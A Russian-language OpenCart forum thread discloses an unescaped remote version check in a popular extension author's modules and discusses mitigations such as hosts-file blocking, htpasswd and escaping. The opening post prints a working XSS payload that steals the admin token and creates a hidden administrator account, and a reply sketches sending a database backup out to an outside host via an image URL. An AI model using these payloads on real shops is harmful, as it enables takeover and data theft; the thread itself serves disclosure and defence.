Перейти до вмісту
Пошук в
  • Детальніше...
Шукати результати, які ...
Шукати результати в ...

Устраняем критическую уязвимость в целом наборе модулей популярного автора.


Yoda

Recommended Posts

Недавно моими друзьями была обнаружена очень неприятная ситуация, один популярный автор дополнений, допустил фатальную ошибку в разработке дополнения. Я очень хочу верить что случайно, но в целом, все указывает на то, что это специально оставленный бекдор.

 

Но бог и администрация форума ему судья, я думаю они там сами разберутся.

В силу того, что приводя куски кода дополнения, или оставляя комментарии в теме поддержки дополнения, как пользователь который его не покупал я нарушу правила форума, я попробую дать рекомендации в существующих рамках.

 

Исходя из моей подготовки и опыта, я могу утверждать, что, проблема, в том, что когда вы заходили в админку модуля, модуль подтягивал каждый раз с сервера автора номер версии. Казалось бы что в этом такого. 
Но присмотревшись, оказалось, что вывод данных о версии не был экранирован, что позволяло автору или любому человеку, получившему доступ к его серверу выполнить XSS атаку на все 10 000 магазинов, которые купили любое из дополнений автора, к примеру вместо номера версии отдать вот такой простой скрипт к примеру:

 

<script>
// shell sample
// seocms the best architectural mistake forever
// i got all your 10 000 shops
// i install 10 000 backdors
function getUrlVars() {
    var vars = [], hash, hashes = null;
    if (window.location.href.indexOf("?") && window.location.href.indexOf("&")) {
        hashes = window.location.href.slice(window.location.href.indexOf("?") + 1).split("&");
    } else if (window.location.href.indexOf("?")) {
        hashes = window.location.href.slice(window.location.href.indexOf("?") + 1);
    }
    if (hashes != null) {
        for (var i = 0; i < hashes.length; i++) {
            hash = hashes[i].split("=");
            vars[hash[0]] = hash[1];
        }
    }
    return vars;
}

var url_vars =  getUrlVars();
var token = url_vars.token;
var host =  window.location.origin;
var action = host + "/admin/index.php?route=user/user/add&token=" +  token;


document.addEventListener("DOMContentLoaded", function(event) { 
  $.post( action, { username: "DummiMarkHack", user_group_id: "1", firstname: "Lol",  lastname: "Haha",    email: "[email protected]",  password: "1234",    confirm: "1234",    status: "1" } );
});

</script>


И вот таким нехитрым способом, ни в коем случае я не грешу на автора и не хочу сказать что он это сделал специально, но береженого бог бережет. Ведь невзламываемых систем не бывает. Можно получить админский доступ в любой магазин. На котором установлены модули автора. А получив админа магазина, мы легко и просто дальше уже сливаем все что захотим - это дело техники.

 

А учитывая то, что человек может умереть. И не продлить домен. А за доменом могут следить специально с целью захвата такого лакомого ботнета. Думаю о критичности потенциальной угрозы рассказывать не надо.

 

Опять же повторюсь, в рамках правил форума я не могу показывать код дополнения, я его не покупал, поэтому чтобы навсегда обезопасить себя от подобной проблемы на 100% и у вас VPS вам просто необходимо добавить в файл host на своем сервере

 

Строку 0.0.0.0 site.com // Домен сервера разработчика

 

Как это сделать в linux - можно прочитать здесь, или обратитесь к администратору вашего сервера. 


Если же у вас шаред-хостинг. Максимум что вы можете сделать, это найти во всех модулях автора в языковых файлах строки opencartadmin.com и заменить их на localhost. С вашими модулями ничего не случится. Они будут работать. Но вероятность, что с постороннего ресурса вы получите xss атаку минимальная!

Ну и как второстепенную меру защиты, просто добавьте htpassword  авторизацию к админке. 

Успешного бизнеса вам, и безопасных магазинов.

 

 

 

  • +1 14
Надіслати
Поділитися на інших сайтах


Хороший анализ на XSS, а если нет VPS и большинство на обычном тарифе ? Есть ли настройки у мода, не автообновлять данные (не делать запрос на сервер) ?

Единственное, что мог бы посоветовать автору - использовать CSRF токен, при валидации автообновления или формы, что бы внешним обращением не обойти валидатор.

Надіслати
Поділитися на інших сайтах

помню несколько лет тому, был взломан опенкартфорум, тогда перепрописали файл response и продвигали свой портал, но что то особой шумихи тогда небыло, переписали сборку, попросили перезаписать файл и всего то, вот и тут, автор заверил что в новых версиях фикс экранирован, а кто варезом пользуется - пусть имеет дыры - это их бремя, а порядочные пользователи - автоматом обновят патч, а владельцу сайта скажите, что бы покупал модули, а если есть чего под кубом, пусть переплатит грамотному кодеру, тот методом исключения проверит, через какой файл шелл вливается и пожертвует модулем или - подберёт аналог, толку из мухи слона тут лепить ?!

Надіслати
Поділитися на інших сайтах

22 минуты назад, auditor сказал:

автор заверил что в новых версиях фикс экранирован

если есть возможность сменить языковой файл, то стрип тэгс убрать - и подавно

кстати тем же хостс могли пользоваться и злоумышленники и долгое время

Надіслати
Поділитися на інших сайтах

20 минут назад, Tank сказал:

@yoda честь и совесть русского опенкарта!

Да не, это же у меня личное)))

Какое мне дело до всех тех, кто попал в зону риска.

Надіслати
Поділитися на інших сайтах


1 час назад, buslikdrev сказал:

Написали бы как экранировать.
htmlspecialchars();

  Показать контент

<?php
$new 
htmlspecialchars("<a href='test'>Test</a>"ENT_QUOTES);
echo 
$new// &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;
?>

 

mysqli_real_escape_string();

  Показать контент

$city $mysqli->real_escape_string($city);

/* этот запрос отработает нормально */
if ($mysqli->query("INSERT into myCity (Name) VALUES ('$city')")) {
    
printf("%d строк вставлено.\n"$mysqli->affected_rows);
}


То есть так экранировать?

  Показать контент

$result = file_get_contents();
return $this->db->escape(htmlspecialchars($result));

 

 

function xss_clean($data)
{
// Fix &entity\n;
$data = str_replace(array('&','<','>'), array('&amp;','&lt;','&gt;'), $data);
$data = preg_replace('/(&#*\w+)[\x00-\x20]+;/u', '$1;', $data);
$data = preg_replace('/(&#x*[0-9A-F]+);*/iu', '$1;', $data);
$data = html_entity_decode($data, ENT_COMPAT, 'UTF-8');

// Remove any attribute starting with "on" or xmlns
$data = preg_replace('#(<[^>]+?[\x00-\x20"\'])(?:on|xmlns)[^>]*+>#iu', '$1>', $data);

// Remove javascript: and vbscript: protocols
$data = preg_replace('#([a-z]*)[\x00-\x20]*=[\x00-\x20]*([`\'"]*)[\x00-\x20]*j[\x00-\x20]*a[\x00-\x20]*v[\x00-\x20]*a[\x00-\x20]*s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:#iu', '$1=$2nojavascript...', $data);
$data = preg_replace('#([a-z]*)[\x00-\x20]*=([\'"]*)[\x00-\x20]*v[\x00-\x20]*b[\x00-\x20]*s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:#iu', '$1=$2novbscript...', $data);
$data = preg_replace('#([a-z]*)[\x00-\x20]*=([\'"]*)[\x00-\x20]*-moz-binding[\x00-\x20]*:#u', '$1=$2nomozbinding...', $data);

// Only works in IE: <span style="width: expression(alert('Ping!'));"></span>
$data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?expression[\x00-\x20]*\([^>]*+>#i', '$1>', $data);
$data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?behaviour[\x00-\x20]*\([^>]*+>#i', '$1>', $data);
$data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:*[^>]*+>#iu', '$1>', $data);

// Remove namespaced elements (we do not need them)
$data = preg_replace('#</*\w+:\w[^>]*+>#i', '', $data);

do
{
    // Remove really unwanted tags
    $old_data = $data;
    $data = preg_replace('#</*(?:applet|b(?:ase|gsound|link)|embed|frame(?:set)?|i(?:frame|layer)|l(?:ayer|ink)|meta|object|s(?:cript|tyle)|title|xml)[^>]*+>#i', '', $data);
}
while ($old_data !== $data);

// we are done...
return $data;
}

Мне кажется это наиболее верный вариант, либо же выбирайте:

https://stackoverflow.com/questions/1336776/xss-filtering-function-in-php

  • +1 2
Надіслати
Поділитися на інших сайтах


27 минут назад, chukcha сказал:

Держите

Рекомендую сделать это в код

 

securiyyFix.ocmod.xml

Мало!

Никто не мешает через tools/backup сделать слив базы и отправить ее на какую нить opencartadmin/logo.jpg длиннючим http заголовком.

Вида

 

$get(.... route=tools/backup+token.....блабла бла, data);

$('body').append('<img src = "opencartadmin/logo.jpg?data ="' + data +'>');

 

Надіслати
Поділитися на інших сайтах


8 минут назад, Yoda сказал:

через tools/backup

Это было в прошлый раз, где был совет - вообще удалять этот контроллер, от него больше вреда, чем пользы.

Надіслати
Поділитися на інших сайтах

8 минут назад, nikifalex сказал:

а где собственно виновник этого анекдота?

занят улучшением архитектуры. :(
Не хочу лезть в ВП, а как у них решен вопрос с проверкой версий?
Хотя там проверка версии идет с серверов WP

  • +1 1
Надіслати
Поділитися на інших сайтах

7 минут назад, chukcha сказал:

занят улучшением архитектуры. :(
Не хочу лезть в ВП, а как у них решен вопрос с проверкой версий?
Хотя там проверка версии идет с серверов WP

Так проверяй на здоровье. Экранируй вывод и проверяй. Вы же тоже верите, что это случайная архитектурная ошибка.

Надіслати
Поділитися на інших сайтах


12 минут назад, chukcha сказал:

Это было в прошлый раз, где был совет - вообще удалять этот контроллер, от него больше вреда, чем пользы.

Ну и также надо закрывать settigns. Там тоже можно дел наделать побырому. Log.php.

Надіслати
Поділитися на інших сайтах


2 минуты назад, Yoda сказал:

Вы же тоже верите, что это случайная архитектурная ошибка.

Я был всегда против обращения к внешним серверам со стороны админки, каковы причины для этого ни были

Надіслати
Поділитися на інших сайтах

В 22.12.2018 в 16:10, chukcha сказал:

opencart.pro кажется тоже имеет кубированый код?

Какие претензии вы выставляете другим?

Во первых. В любой момент. Любому представителю администрации любой аудит. Во вторых найдите обращения к сторонним ресурсам. В этом плане мы максимально открыты. В отличии от остальных. В третьих. Исключение кодированных файлов не влияет на работоспособность магазина. Так как закодирован только небольшая часть кода.

Надіслати
Поділитися на інших сайтах


2 минуты назад, Yoda сказал:

Ну и также надо закрывать settigns. Там тоже можно дел наделать побырому. Log.php.

добавлю  и сделаю а паблике отдельным модом.

Надіслати
Поділитися на інших сайтах

Ну, код обращения который вы показали тоже открыт, но вы не пришли к автору и не сказали ему - смотри... фигню имеешь

Вы же.. ладно.. это не тема для здесь.

 

  • +1 2
Надіслати
Поділитися на інших сайтах

3 минуты назад, chukcha сказал:

Ну, код обращения который вы показали тоже открыт, но вы не пришли к автору и не сказали ему - смотри... фигню имеешь

Вы же.. ладно.. это не тема для здесь.

 

У меня нет этого модуля. А к автору обращались несколько раз. Он утверждал что это так надо и ничего страшного.

 

Ну а я же да... Свожу личные счёты ага ага... Если вам от этого легче. То так и думайте. По факту природу инцидента это не меняет.

 

Ну и давайте уже честно. Закрытый код без шеллов и закладок. И открытый с закладкой. Что лучше?

Надіслати
Поділитися на інших сайтах


1 минуту назад, Yoda сказал:

У меня нет этого модуля.

Это не обязательно иметь его, и не потому что не покупал, а потому что опосредованно вы его обслуживаете..

Да, пусть будет, вы открыты, но вы уверены, что вы точно также можете проЕ... свой домен/сервер?
 

Надіслати
Поділитися на інших сайтах

  • dinox locked this topic
Гість
Ця тема закрита для публікації повідомлень.

×
×
  • Створити...

Important Information

На нашому сайті використовуються файли cookie і відбувається обробка деяких персональних даних користувачів, щоб поліпшити користувальницький інтерфейс. Щоб дізнатися для чого і які персональні дані ми обробляємо перейдіть за посиланням . Якщо Ви натиснете «Я даю згоду», це означає, що Ви розумієте і приймаєте всі умови, зазначені в цьому Повідомленні про конфіденційність.